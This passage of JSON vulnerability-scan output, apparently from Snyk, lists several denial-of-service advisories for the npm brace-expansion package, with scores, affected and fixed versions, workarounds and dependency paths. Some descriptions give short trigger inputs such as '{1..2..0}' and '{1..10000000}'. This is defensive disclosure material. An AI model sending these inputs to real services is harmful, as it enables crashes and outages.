"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to 